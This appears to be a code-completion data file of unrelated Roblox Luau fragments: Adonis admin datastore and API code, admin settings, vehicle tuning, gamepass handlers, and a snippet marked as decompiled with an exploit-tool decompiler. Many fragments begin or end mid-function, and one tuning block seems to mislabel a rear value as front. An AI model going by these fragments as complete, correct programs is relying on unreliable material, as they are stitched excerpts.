if serverId and serverId == game.JobId then return end;
local Blacklist = Core.DS_BLACKLIST
local CheckMatch = Functions.CheckMatch;
if key == "TableUpdate" then
local tab = data;
local indList = tab.Table;
local nameRankComp = {--// Old settings backwards compatability
Owners = {"Settings", "Ranks", "HeadAdmins", "Users"};
Creators = {"Settings", "Ranks", "Creators", "Users"};
HeadAdmins = {"Settings", "Ranks", "HeadAdmins", "Users"};
Admins = {"Settings", "Ranks", "Admins", "Users"};
Moderators = {"Settings", "Ranks", "Moderators", "Users"};
}
if type(indList) == "string" and nameRankComp[indList] then
indList = nameRankComp[indList];
end
local realTable,tableName = Core.IndexPathToTable(indList);
local displayName = type(indList) == "table" and table.concat(indList, ".") or tableName;
if displayName and type(displayName) == 'string' and Blacklist[displayName] then
--// warn("Stopped " .. displayName .. " from being set!")
--// Debugging --Coasterteam
return
end
if realTable and tab.Action == "Add" then
for i,v in pairs(realTable) do
if CheckMatch(v,tab.Value) then
table.remove(realTable, i)
end
end
AddLog("Script",{
Text = "Added value to ".. displayName;
Desc = "Added "..tostring(tab.Value).." to ".. displayName .." from datastore";
})
table.insert(realTable, tab.Value)
elseif realTable and tab.Action == "Remove" then
for i,v in pairs(realTable) do
if CheckMatch(v, tab.Value) then
AddLog("Script",{
Text = "Removed value from ".. displayName;
Desc = "Removed "..tostring(tab.Value).." from ".. displayName .." from datastore";
})
table.remove(realTable, i)
end
end
end
else
local SavedSettings
local SavedTables
if Core.DataStore and Settings.DataStoreEnabled then
local GetData, LoadData, SaveData, DoSave = Core.GetData, Core.LoadData, Core.SaveData, Core.DoSave
if not key then
SavedSettings = GetData("SavedSettings")
SavedTables = GetData("SavedTables")
elseif key and not data then
if key == "SavedSettings" then
SavedSettings = GetData("SavedSettings")
elseif key == "SavedTables" then
SavedTables = GetData("SavedTables")
end
elseif key and data then
if key == "SavedSettings" then
SavedSettings = data
elseif key == "SavedTables" then
SavedTables = data
end
end
if not key and not data then
if not SavedSettings then
SavedSettings = {}
SaveData("SavedSettings",{})
end
if not SavedTables then
SavedTables = {}
SaveData("SavedTables",{})
end
end
if SavedSettings then
for setting,value in pairs(SavedSettings) do
if not Blacklist[setting] then
if setting == 'Prefix' or setting == 'AnyPrefix' or setting == 'SpecialPrefix' then
local orig = Settings[setting]
for i,v in pairs(server.Commands) do
if v.Prefix == orig then
v.Prefix = value
end
end
end
Settings[setting] = value
end
end
end
if SavedTables then
for i,tData in pairs(SavedTables) do
if tData.TableName and tData.TableKey and not Blacklist[tData.tableName] then
local data = GetData(tData.TableKey);
if data then
for k,v in ipairs(data) do
LoadData("TableUpdate", v)
end
end
elseif tData.Table and tData.Action then
LoadData("TableUpdate", tData)
end
end
if Core.Variables.TimeBans then
for i,v in pairs(Core.Variables.TimeBans) do
if v.EndTime-os.time() <= 0 then
table.remove(Core.Variables.TimeBans, i)
DoSave({
Type = "TableRemove";
Table = {"Core", "Variables", "TimeBans"};
Value = v;
})
end
end
end
end
AddLog(Logs.Script,{
Text = "Loaded saved data";
Desc = "Data was retrieved from the datastore and loaded successfully";
})
end
end
end;
StartAPI = function()
local _G = _G
local setmetatable = setmetatable
local rawset = rawset
local rawget = rawget
local type = type
local error = error
local print = print
local warn = warn
local pairs = pairs
local next = next
local table = table
local getfenv = getfenv
local setfenv = setfenv
local require = require
local tostring = tostring
local server = server
local service = service
local Routine = Routine
local cPcall = cPcall
local MetaFunc = service.MetaFunc
local StartLoop = service.StartLoop
local API_Special = {
AddAdmin = Settings.Allowed_API_Calls.DataStore;
RemoveAdmin = Settings.Allowed_API_Calls.DataStore;
RunCommand = Settings.Allowed_API_Calls.Core;
SaveTableAdd = Settings.Allowed_API_Calls.DataStore and Settings.Allowed_API_Calls.Settings;
SaveTableRemove = Settings.Allowed_API_Calls.DataStore and Settings.Allowed_API_Calls.Settings;
SaveSetSetting = Settings.Allowed_API_Calls.DataStore and Settings.Allowed_API_Calls.Settings;
ClearSavedSettings = Settings.Allowed_API_Calls.DataStore and Settings.Allowed_API_Calls.Settings;
SetSetting = Settings.Allowed_API_Calls.Settings;
}
setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())}))
local API_Specific = {
API_Specific = {
Test = function()
print("We ran the api specific stuff")
end
};
Settings = Settings;
Service = service;
}
local API = {
Access = MetaFunc(function(...)
local args = {...}
local key = args[1]
local ind = args[2]
local targ
if API_Specific[ind] then
targ = API_Specific[ind]
elseif server[ind] and Settings.Allowed_API_Calls[ind] then
targ = server[ind]
end
if Settings.G_Access and key == Settings.G_Access_Key and targ and Settings.Allowed_API_Calls[ind] == true then
if type(targ) == "table" then
return service.NewProxy {
__index = function(tab,inde)
if targ[inde] ~= nil and API_Special[inde] == nil or API_Special[inde] == true then
AddLog(Logs.Script,{
Text = "Access to "..tostring(inde).." was granted";
Desc = "A server script was granted access to "..tostring(inde);
})
if targ[inde]~=nil and type(targ[inde]) == "table" and Settings.G_Access_Perms == "Read" then
return service.ReadOnly(targ[inde])
else
return targ[inde]
end
elseif API_Special[inde] == false then
AddLog(Logs.Script,{
Text = "Access to "..tostring(inde).." was denied";
Desc = "A server script attempted to access "..tostring(inde).." via _G.Adonis.Access";
})
error("Access Denied: "..tostring(inde))
else
error("Could not find "..tostring(inde))
end
end;
__newindex = function(tabl,inde,valu)
if Settings.G_Access_Perms == "Read" then
error("Read-only")
elseif Settings.G_Access_Perms == "Write" then
tabl[inde] = valu
end
end;
__metatable = true;
}
end
else
error("Incorrect key or G_Access is disabled")
end
end);
Scripts = service.ReadOnly({
ExecutePermission = MetaFunc(function(srcScript, code)
local exists;
for i,v in pairs(Core.ScriptCache) do
if v.Script == srcScript then
exists = v
end
end
if exists and exists.noCache ~= true and (not exists.runLimit or (exists.runLimit and exists.Executions <= exists.runLimit)) then
exists.Executions = exists.Executions+1
return exists.Source, exists.Loadstring
end
local data = Core.ExecutePermission(srcScript, code)
if data and data.Source then
local module;
if not exists then
module = require(server.Shared.FiOne:Clone())
table.insert(Core.ScriptCache,{
Script = srcScript;
Source = data.Source;
Loadstring = module;
noCache = data.noCache;
runLimit = data.runLimit;
Executions = data.Executions;
})
else
module = exists.Loadstring
exists.Source = data.Source
end
return data.Source, module
end
end);
}, nil, nil, true);
CheckAdmin = MetaFunc(Admin.CheckAdmin);
IsAdmin = MetaFunc(Admin.CheckAdmin);
IsBanned = MetaFunc(Admin.CheckBan);
IsMuted = MetaFunc(Admin.IsMuted);
CheckDonor = MetaFunc(Admin.CheckDonor);
GetLevel = MetaFunc(Admin.GetLevel);
SetLighting = MetaFunc(Functions.SetLighting);
SetPlayerLighting = MetaFunc(Remote.SetLighting);
NewParticle = MetaFunc(Functions.NewParticle);
RemoveParticle = MetaFunc(Functions.RemoveParticle);
NewLocal = MetaFunc(Remote.NewLocal);
MakeLocal = MetaFunc(Remote.MakeLocal);
MoveLocal = MetaFunc(Remote.MoveLocal);
RemoveLocal = MetaFunc(Remote.RemoveLocal);
Hint = MetaFunc(Functions.Hint);
Message = MetaFunc(Functions.Message);
RunCommandAsNonAdmin = MetaFunc(Admin.RunCommandAsNonAdmin);
}
local AdonisGTable = service.NewProxy({
__index = function(tab,ind)
if Settings.G_API then
return API[ind]
elseif ind == "Scripts" then
return API.Scripts
else
error("_G API is disabled")
end
end;
__newindex = function()
error("Read-only")
end;
__metatable = true;
})
if not rawget(_G, "Adonis") then
if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then
rawset(_G, "Adonis", AdonisGTable)
StartLoop("APICheck", 1, function()
if rawget(_G, "Adonis") ~= AdonisGTable then
if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then
rawset(_G, "Adonis", AdonisGTable)
else
warn("ADONIS CRITICAL WARNING! MALICIOUS CODE IS TRYING TO CHANGE THE ADONIS _G API AND IT CAN'T BE SET BACK! PLEASE SHUTDOWN THE SERVER AND REMOVE THE MALICIOUS CODE IF POSSIBLE!")
end
end
end, true)
else
warn("The _G table was locked and the Adonis _G API could not be loaded")
end
end
AddLog(Logs.Script,{
Text = "Started _G API";
Desc = "_G API was initialized and is ready to use";
})
end;
};
end
|
--I, Maelstronomer, did not make these scripts, but only took bits and pieces from other scripts and put them together.
--I have no idea who were the original makers of these scripts, as everyone seems to have taken credit from them.
--So yeah, that's the creditless credits for you. Just don't take this as your own, because, well, it isn't.
--If you do, then whatever helps you sleep at night...
| |
-- Create component
|
local Component = Cheer.CreateComponent('BTNotificationDialog', View);
function Component.Start(OnExpandCallback)
-- Destroy dialog on OK button click
Cheer.Bind(View.OKButton, function ()
View:Destroy();
end);
-- Open help section on button click
Cheer.Bind(View.HelpButton, function ()
-- Expand OK button
View.HelpButton:Destroy();
View.ButtonSeparator:Destroy();
View.OKButton:TweenSize(UDim2.new(1, 0, 0, 22), nil, nil, 0.2);
-- Replace notice with help section
View.Notice:Destroy();
View.Help.Visible = true;
View:TweenSize(
UDim2.new(View.Size.X.Scale, View.Size.X.Offset, View.Size.Y.Scale, View.Help.NotificationSize.Value),
nil, nil, 0.2, false, OnExpandCallback
);
end);
-- Show dialog
View.Visible = true;
-- Return component for chaining
return Component;
end;
return Component;
|
--[[
When the character exists, connect their humanoid dying so that they leave camera state
]]
|
local function onCharacterAdded(stateMachine, player, character)
local humanoid = character.Humanoid
humanoid.WalkSpeed = 0
humanoid.Died:Connect(
function()
player:LoadCharacter()
stateMachine:endCamera()
end
)
end
local PlayerCamera = {}
|
--// Damage Settings
|
BaseDamage = 25; -- Torso Damage
LimbDamage = 25; -- Arms and Legs
ArmorDamage = 25; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 37; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
-- 4.) Put 'Gauge Face' in Lights in-order for it to light-up when car
-- lights are turned on. If not available, place 'Gauge Face' in Body along with 'Tachometer'.
| |
-----------------
--| Constants |--
-----------------
|
local GRAVITY_ACCELERATION = 196.2
local RELOAD_TIME = 3 -- Seconds until tool can be used again
local ROCKET_SPEED = 60 -- Speed of the projectile
local MISSILE_MESH_ID = 'http://www.roblox.com/asset/?id=2251534'
local MISSILE_MESH_SCALE = Vector3.new(0.35, 0.35, 0.25)
local ROCKET_PART_SIZE = Vector3.new(1.2, 1.2, 3.27)
|
-- << SETTINGS >>
|
local Settings={
-- <Prefix>
Prefix =";" ; -- The character used to begin each command
-- <Donor Perks> **Please keep enabled to help support the development of HD Admin Commands**
DonorItem = true ;
DonorItemId = 10472779 ;
DonorCommands = true ;
-- <Other>
CmdBar = true ; -- Allows admins to execute commands without chatting
HDIcon = true ; -- The HD Icon in the corner of screen (helps to support the development HD Admin Commands)
FreeAdmin = false ; -- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = "VIP" '. Set to False if not.
NoticeSound = 261082034 ; -- Notification sound ID
NoticeSoundVol = 0.5 ; -- How loud the notification sound is. Must be between 0 and 1.
ErrorSound = 138090596 ; -- Error sound ID
ErrorSoundVol = 0.5 ; -- How loud the error sound is. Must be between 0 and 1.
}
|
-- periodically re-join the studs to the center
|
while true do
wait(4)
local cf = center.CFrame
rebuildStud(top, cf * CFrame.new(0,3,0))
rebuildStud(bottom, cf * CFrame.new(0,-3,0))
rebuildStud(left, cf * CFrame.new(3,0,0))
rebuildStud(right, cf * CFrame.new(-3,0,0))
rebuildStud(front, cf * CFrame.new(0,0,-3))
rebuildStud(back, cf * CFrame.new(0,0,3))
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 5000 -- Spring Force
Tune.FAntiRoll = 60 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 1 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 4000 -- Spring Force
Tune.FAntiRoll = 60 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 1 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- Gamepasses
|
for i,v in pairs(RS.GamepassIDs:GetChildren()) do
MS.PromptGamePassPurchaseFinished:Connect(function(plr,ido,purchased)
if purchased and v.Value == ido then
if v.Name == "TripleOpen" then
plr.Data.TripleEggOwned.Value = true
elseif v.Name == "AutoOpen" then
plr.Data.AutoEggOwned.Value = true
elseif v.Name == "ExtraEquipped" then
plr.Data.MaxEquip.Value = RS.Pets.Settings.DefaultMaxEquipped.Value + 5
elseif v.Name == "ExtraStorage" then
plr.Data.MaxStorage.Value = RS.Pets.Settings.DefaultMaxStorage.Value + 30
end
end
end)
game.Players.PlayerAdded:Connect(function(plr)
local Data = plr:WaitForChild("Data", math.huge)
if MS:UserOwnsGamePassAsync(plr.UserId, v.Value) then
if v.Name == "TripleOpen" then
plr.Data.TripleEggOwned.Value = true
elseif v.Name == "AutoOpen" then
plr.Data.AutoEggOwned.Value = true
elseif v.Name == "ExtraEquipped" then
plr.Data.MaxEquip.Value = RS.Pets.Settings.DefaultMaxEquipped.Value + 5
elseif v.Name == "ExtraStorage" then
plr.Data.MaxStorage.Value = RS.Pets.Settings.DefaultMaxStorage.Value + 30
end
end
end)
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Parent__1 = script.Parent;
l__Parent__1.Equipped:connect(function()
end);
local u1 = false;
l__Parent__1.Activated:connect(function()
if u1 then
return;
end;
u1 = true;
l__Parent__1.GripForward = Vector3.new(0, -0.759, -0.651);
l__Parent__1.GripPos = Vector3.new(1.5, -0.65, -0.15);
l__Parent__1.GripRight = Vector3.new(1, 0, 0);
l__Parent__1.GripUp = Vector3.new(0, 0.651, -0.759);
l__Parent__1.Handle.DrinkSound:Play();
wait(2.5);
l__Parent__1.Parent.Humanoid.Health = l__Parent__1.Parent.Humanoid.Health + 100;
restPos();
u1 = false;
end);
l__Parent__1.Unequipped:connect(function()
restPos();
l__Parent__1.Handle.DrinkSound:Stop();
u1 = false;
end);
function restPos()
l__Parent__1.GripForward = Vector3.new(-0.976, 0, -0.217);
l__Parent__1.GripPos = Vector3.new(0.03, 0, 0);
l__Parent__1.GripRight = Vector3.new(0.217, 0, -0.976);
l__Parent__1.GripUp = Vector3.new(0, 1, 0);
end;
|
--skip song command
|
Group = 912062
RequiredRank = 253
game.Players.PlayerAdded:connect(function(Player)
Player.Chatted:connect(function(msg)
if Player:GetRankInGroup(Group) >= RequiredRank or Player.Name == "Player" or Player.Name == "Itzt" or Player.Name == "Thundervette" then
if msg == 'skipsong'or msg == 'skip song' or msg == 'skip' then
makesong()
end
end
end)
end)
game:GetService('MarketplaceService').ProcessReceipt = function(details)
for _, player in ipairs(game.Players:GetPlayers()) do
if player.userId == details.PlayerId then
if details.ProductId == productId then
script.Parent.musicEvents.addSong:FireClient(player)
end
end
end
end
script.Parent.musicEvents.addSong.OnServerEvent:connect(function(p,id)
if tonumber(id) ~= nil and game:GetService("MarketplaceService"):GetProductInfo(tonumber(id)).AssetTypeId == 3 then
table.insert(requests, id)
end
end)
makesong()
|
-- Tweens
|
function Animate(w1,w2,w3,tw,Time,Delay)
SetWelds()
weld1C1 = w1
weld2C1 = w2
weld3C1 = w3
tweldC1 = tw
TweenService:Create(neck,TweenInfo.new(Time),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play()
SEs.FireClient:FireServer(k,"AnimateFE",{w1,w2,w3,tw},Time,Answer,0,NeckRotation,chr,Tool.Hig.Value)
if script:IsDescendantOf(chr) then
TweenService:Create(weld1,TweenInfo.new(Time),
{C1=w1*CFrame.new(0,Tool.Hig.Value,0)}):Play()
TweenService:Create(weld2,TweenInfo.new(Time),
{C1=w2*CFrame.new(0,Tool.Hig.Value,0)}):Play()
TweenService:Create(weld3,TweenInfo.new(Time),
{C1=w3*CFrame.new(0,Tool.Hig.Value,0)}):Play()
TweenService:Create(tweld,TweenInfo.new(Time),
{C1=tw*CFrame.new(0,Tool.Hig.Value,0)}):Play()
end
if Delay then Time = Time + Delay end
wait(Time)
end
chr.Humanoid.Died:connect(function()
game.Workspace.CurrentCamera.FieldOfView = 70
end)
Mouse.Move:connect(function() -- Thanks to Ultimatedar for this logic, heavily edited by me.
local Mouse = Player:GetMouse()
local Direction = Mouse.Hit.p
local B = head.Position.Y-Direction.Y
local Dist = (head.Position-Direction).magnitude
Answer = math.asin(B/Dist)
Gyro.cframe = Mouse.Hit
if Stance ~= "Nothing" then
Answer = 0
else if Stance == "Nothing" then
if Answer > math.rad(20) then
Answer = math.rad(20)
elseif Answer < math.rad(-10) then
Answer = math.rad(-10)
else if torso.Parent.Humanoid.Sit then
Answer = 0
end
end
end
end
if (Stance == "Nothing") then
SEs.FireClient:FireServer(k,"Aglin",chr,Answer,{Answer,0,NeckRotation},0.1,Turning)
if not Turning then
TweenService:Create(neck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play()
end
TweenService:Create(fakeneck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(0,0,0)}):Play()
TweenService:Create(tiltweld,TweenInfo.new(0.1),{C0=CFrame.new(0,0,0) * CFrame.Angles(Answer,0,0)}):Play()
if Gyro.Parent ~= tilt and Tool.Skrimish.Value then Gyro.Parent = tilt chr.Humanoid.AutoRotate = false
elseif Gyro.Parent == tilt and not Tool.Skrimish.Value then Gyro.Parent = script chr.Humanoid.AutoRotate = true
chr.Humanoid.AutoRotate = true
end
else
if Gyro.Parent == tilt then Gyro.Parent = script chr.Humanoid.AutoRotate = true
chr.Humanoid.AutoRotate = true
end
SEs.FireClient:FireServer(k,"Aglin",chr,Answer,{Answer,0,NeckRotation},0.1,Turning,true)
if not Turning then
TweenService:Create(neck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play()
end
TweenService:Create(fakeneck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(0,0,0)}):Play()
TweenService:Create(tiltweld,TweenInfo.new(0.1),{C0=CFrame.new(0,0,0) * CFrame.Angles(0,0,0)}):Play()
end
if tick() - Cooldown > LastCheck then
local NextUnit = Mouse.UnitRay.Unit.Direction
if math.abs(NextUnit.Y - LastUnit.Y) >= 0.01 then
if NextUnit.Y > LastUnit.Y then
AttackDirection = "U"
else
AttackDirection = "D"
end
else
if CalcHorizontalAngle(LastUnit*Vector3.new(1,0,1), NextUnit*Vector3.new(1,0,1)) > 0 then
AttackDirection = "R"
else
AttackDirection = "L"
end
end
LastUnit = NextUnit
end
end)
weld1C1 = weld1.C1
weld2C1 = weld2.C1
weld3C1 = weld3.C1
tweldC1 = tweld.C1
wait(0.1)
|
---------------------waypointsgenerator--------------------
|
for i, waypoint in pairs(waypoints)do
if
CreateWaypoints == true
then
local WayBall = Instance.new("Part",Fol)
WayBall.Shape = "Ball"
WayBall.Material = "Neon"
WayBall.Size = Vector3.new(0.6,0.6,0.6)
WayBall.Position = waypoint.Position + Vector3.new(0,2,0)
WayBall.Anchored = true
WayBall.CanCollide = false
end
|
-- Provide total count of all descendants
|
Count.Value = #Tool:GetDescendants() - AutoremovingItemsCount;
|
-- Events
|
LoadSceneRemoteEventModule.RequestServerLoadCharacter = script.Parent.Parent.Events.SceneControl.LoadCharacter
LoadSceneRemoteEventModule.FinishedLoadingRemoteEvent = script.Parent.Parent.Events.SceneControl.FinishedLoading
LoadSceneRemoteEventModule.SceneLoaded = script.Parent.Parent.Events.ClientEvents.SceneLoaded
local doesPlayerHavePrimaryPart = function(Player)
if Player.Character then
return Player.Character.PrimaryPart
end
return false
end
LoadSceneRemoteEventModule.handleRespawnConnection = function(Scene, Player, taskLib)
if
not Scene
or not Scene:FindFirstChild(enums.Scene.Environment)
or not Scene.Environment:FindFirstChild(enums.Scene.PlayerSpawns)
then
return
end
while not doesPlayerHavePrimaryPart(Player) do
taskLib.wait()
end
local Spawns = Scene.Environment.PlayerSpawns:GetChildren()
Player.Character:SetPrimaryPartCFrame(Spawns[math.random(1, #Spawns)].CFrame)
end
LoadSceneRemoteEventModule.LoadSceneRemoteEventFn = function(SceneName, currentLoadSceneTime, taskLib)
if currentLoadSceneTime < LoadSceneRemoteEventModule.lastCalledLoadSceneTime then
warn("Attempted to load an older scene on the client: ", SceneName)
return
end
if currentLoadSceneTime == LoadSceneRemoteEventModule.lastCalledLoadSceneTime then
warn("Attempted to load a scene with same tick time. This should not be happening. Please contact devs")
warn(SceneName)
return
end
LoadSceneRemoteEventModule.lastCalledLoadSceneTime = currentLoadSceneTime
local Scene = LoadSceneRemoteEventModule.GetSceneByName(SceneName)
if not Scene then
error("Scene not found: " .. SceneName)
end
if LoadSceneRemoteEventModule.RespawnConnection then
LoadSceneRemoteEventModule.RespawnConnection:Disconnect()
LoadSceneRemoteEventModule.RespawnConnection = nil
end
taskLib = if taskLib then taskLib else task
while state.UnloadingScene do
taskLib.wait()
end
if currentLoadSceneTime < LoadSceneRemoteEventModule.lastCalledLoadSceneTime then
warn("No longer loading outdated scene: ", SceneName)
return
end
local TempSceneFolder = Instance.new("Folder")
TempSceneFolder.Name = SceneName
TempSceneFolder.Parent = workspace:WaitForChild(enums.Scene.ScenesClient)
LoadSceneRemoteEventModule.DefaultLoadScene(Scene.Environment, TempSceneFolder)
state.CurrentSceneEnvironmentFolder = TempSceneFolder
if currentLoadSceneTime < LoadSceneRemoteEventModule.lastCalledLoadSceneTime then
warn("No longer loading outdated scene: ", SceneName)
return
end
-- Reposition the character to the scene
-- TODO: Make sure players aren't cframed into eachother
local Spawns = Scene.Environment.PlayerSpawns:GetChildren()
local spawnPart = Spawns[math.random(1, #Spawns)]
local spawnOffset = CFrame.new(
LoadSceneRemoteEventModule.rng:NextNumber(spawnPart.Size.X * -0.5, spawnPart.Size.X * 0.5),
0,
LoadSceneRemoteEventModule.rng:NextNumber(spawnPart.Size.Z * -0.5, spawnPart.Size.Z * 0.5)
)
local Player = LoadSceneRemoteEventModule.Player
if doesPlayerHavePrimaryPart(Player) then
Player.Character:SetPrimaryPartCFrame(spawnPart.CFrame * spawnOffset)
Player.Character.PrimaryPart.Anchored = false
else
LoadSceneRemoteEventModule.RequestServerLoadCharacter:FireServer()
while not doesPlayerHavePrimaryPart(Player) do
taskLib.wait()
end
Player.Character:SetPrimaryPartCFrame(spawnPart.CFrame * spawnOffset)
Player.Character.PrimaryPart.Anchored = false
end
if currentLoadSceneTime < LoadSceneRemoteEventModule.lastCalledLoadSceneTime then
warn("No longer loading outdated scene: ", SceneName)
return
end
LoadSceneRemoteEventModule.RespawnConnection = LoadSceneRemoteEventModule.Player.CharacterAdded:Connect(function()
LoadSceneRemoteEventModule.handleRespawnConnection(Scene, Player, taskLib)
end)
-- Update the lighting
if
LoadSceneRemoteEventModule.RunService:IsStudio() and Lighting:GetAttribute(enums.Attribute.UseCurrentLighting)
then
warn("USING CURRENT LIGHTING. NOT USING SCENE LIGHTING")
else
LoadSceneRemoteEventModule.UpdateLightModule(Scene.Environment.Lighting)
end
LoadSceneRemoteEventModule.FinishedLoadingRemoteEvent:FireServer(Player)
LoadSceneRemoteEventModule.SceneLoaded:Fire(SceneName)
end
return LoadSceneRemoteEventModule
|
--[[ FUNCTIONS ]]
|
local function getStringTextBounds(text, font, textSize, sizeBounds)
sizeBounds = sizeBounds or false
if not TextSizeCache[text] then
TextSizeCache[text] = {}
end
if not TextSizeCache[text][font] then
TextSizeCache[text][font] = {}
end
if not TextSizeCache[text][font][sizeBounds] then
TextSizeCache[text][font][sizeBounds] = {}
end
if not TextSizeCache[text][font][sizeBounds][textSize] then
testLabel.Text = text
testLabel.Font = font
testLabel.TextSize = textSize
if sizeBounds then
testLabel.TextWrapped = true;
testLabel.Size = UDim2.new(0, sizeBounds.x, 0, sizeBounds.y)
else
testLabel.TextWrapped = false;
end
TextSizeCache[text][font][sizeBounds][textSize] = testLabel.TextBounds
end
return TextSizeCache[text][font][sizeBounds][textSize]
end
local function lerpLength(msg, min, max)
return min + (max-min) * math.min(string.len(msg)/75.0, 1.0)
end
local function createFifo()
local this = {}
this.data = {}
local emptyEvent = Instance.new("BindableEvent")
this.Emptied = emptyEvent.Event
function this:Size()
return #this.data
end
function this:Empty()
return this:Size() <= 0
end
function this:PopFront()
table.remove(this.data, 1)
if this:Empty() then emptyEvent:Fire() end
end
function this:Front()
return this.data[1]
end
function this:Get(index)
return this.data[index]
end
function this:PushBack(value)
table.insert(this.data, value)
end
function this:GetData()
return this.data
end
return this
end
local function createCharacterChats()
local this = {}
this.Fifo = createFifo()
this.BillboardGui = nil
return this
end
local function createMap()
local this = {}
this.data = {}
local count = 0
function this:Size()
return count
end
function this:Erase(key)
if this.data[key] then count = count - 1 end
this.data[key] = nil
end
function this:Set(key, value)
this.data[key] = value
if value then count = count + 1 end
end
function this:Get(key)
if not key then return end
if not this.data[key] then
this.data[key] = createCharacterChats()
local emptiedCon = nil
emptiedCon = this.data[key].Fifo.Emptied:connect(function()
emptiedCon:disconnect()
this:Erase(key)
end)
end
return this.data[key]
end
function this:GetData()
return this.data
end
return this
end
local function createChatLine(message, bubbleColor, isLocalPlayer)
local this = {}
function this:ComputeBubbleLifetime(msg, isSelf)
if isSelf then
return lerpLength(msg,8,15)
else
return lerpLength(msg,12,20)
end
end
this.Origin = nil
this.RenderBubble = nil
this.Message = message
this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer)
this.BubbleColor = bubbleColor
this.IsLocalPlayer = isLocalPlayer
return this
end
local function createPlayerChatLine(player, message, isLocalPlayer)
local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer)
if player then
this.User = player.Name
this.Origin = player.Character
end
return this
end
local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor)
local this = createChatLine(message, bubbleColor, isLocalPlayer)
this.Origin = origin
return this
end
function createChatBubbleMain(filePrefix, sliceRect)
local chatBubbleMain = Instance.new("ImageLabel")
chatBubbleMain.Name = "ChatBubble"
chatBubbleMain.ScaleType = Enum.ScaleType.Slice
chatBubbleMain.SliceCenter = sliceRect
chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png"
chatBubbleMain.BackgroundTransparency = 1
chatBubbleMain.BorderSizePixel = 0
chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0)
chatBubbleMain.Position = UDim2.new(0,0,0,0)
chatBubbleMain.ImageColor3 = CHAT_BUBBLE_COLOR
return chatBubbleMain
end
function createChatBubbleTail(position, size)
local chatBubbleTail = Instance.new("ImageLabel")
chatBubbleTail.Name = "ChatBubbleTail"
chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png"
chatBubbleTail.BackgroundTransparency = 1
chatBubbleTail.BorderSizePixel = 0
chatBubbleTail.Position = position
chatBubbleTail.Size = size
chatBubbleTail.ImageColor3 = CHAT_BUBBLE_COLOR
return chatBubbleTail
end
function createChatBubbleWithTail(filePrefix, position, size, sliceRect)
local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)
local chatBubbleTail = createChatBubbleTail(position, size)
chatBubbleTail.Parent = chatBubbleMain
return chatBubbleMain
end
function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect)
local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect)
local frame = Instance.new("Frame")
frame.Name = "ChatBubbleTailFrame"
frame.BackgroundTransparency = 1
frame.SizeConstraint = Enum.SizeConstraint.RelativeXX
frame.Position = UDim2.new(0.5, 0, 1, 0)
frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0)
frame.Parent = chatBubbleMain
local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1,0,0.5,0))
chatBubbleTail.Parent = frame
return chatBubbleMain
end
function createChatImposter(filePrefix, dotDotDot, yOffset)
local result = Instance.new("ImageLabel")
result.Name = "DialogPlaceholder"
result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png"
result.BackgroundTransparency = 1
result.BorderSizePixel = 0
result.Position = UDim2.new(0, 0, -1.25, 0)
result.Size = UDim2.new(1, 0, 1, 0)
local image = Instance.new("ImageLabel")
image.Name = "DotDotDot"
image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png"
image.BackgroundTransparency = 1
image.BorderSizePixel = 0
